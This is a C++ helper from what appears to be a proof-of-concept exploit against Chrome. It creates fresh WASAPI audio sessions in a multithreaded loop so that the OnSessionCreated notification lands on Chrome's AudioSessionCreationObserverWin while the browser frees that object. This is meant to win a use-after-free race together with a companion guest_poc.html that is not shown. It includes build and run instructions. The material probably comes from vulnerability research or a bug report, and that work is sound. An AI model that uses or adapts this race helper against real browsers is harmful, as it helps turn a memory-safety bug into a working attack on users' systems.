// audio_session_spam.cc
//
// Helper that creates fresh WASAPI audio sessions on the default render
// endpoint in a tight loop. Each IAudioClient::Initialize() with a new session
// GUID makes audioses.dll fire IAudioSessionNotification::OnSessionCreated()
// on its MM notification thread for every registered listener — including
// Chrome's AudioSessionCreationObserverWin. Run this alongside guest_poc.html
// so the MM thread is constantly entering OnSessionCreated() while the Chrome
// UI thread frees the observer.
//
// Build (from a VS developer prompt):
//   cl /O2 /EHsc audio_session_spam.cc /link ole32.lib uuid.lib
//
// Run:
//   audio_session_spam.exe          (loops forever)
//   audio_session_spam.exe 8        (8 parallel spammer threads)

#include <windows.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#include <stdio.h>
#include <thread>
#include <vector>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "uuid.lib")

static void Spam() {
  CoInitializeEx(nullptr, COINIT_MULTITHREADED);
  IMMDeviceEnumerator* en = nullptr;
  CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_ALL,
                   IID_PPV_ARGS(&en));
  IMMDevice* dev = nullptr;
  en->GetDefaultAudioEndpoint(eRender, eConsole, &dev);
  WAVEFORMATEX* mix = nullptr;
  {
    IAudioClient* probe = nullptr;
    dev->Activate(__uuidof(IAudioClient), CLSCTX_ALL, nullptr,
                  reinterpret_cast<void**>(&probe));
    probe->GetMixFormat(&mix);
    probe->Release();
  }
  for (unsigned long long i = 0;; ++i) {
    IAudioClient* ac = nullptr;
    if (FAILED(dev->Activate(__uuidof(IAudioClient), CLSCTX_ALL, nullptr,
                             reinterpret_cast<void**>(&ac))))
      continue;
    GUID sid;
    CoCreateGuid(&sid);  // Fresh session GUID -> new-session notification.
    ac->Initialize(AUDCLNT_SHAREMODE_SHARED, 0, 100000, 0, mix, &sid);
    ac->Release();
    if ((i & 0x3ff) == 0) printf("sessions created: %llu\n", i);
  }
}

int main(int argc, char** argv) {
  int n = argc > 1 ? atoi(argv[1]) : 4;
  std::vector<std::thread> ts;
  for (int i = 0; i < n; ++i) ts.emplace_back(Spam);
  for (auto& t : ts) t.join();
  return 0;
}
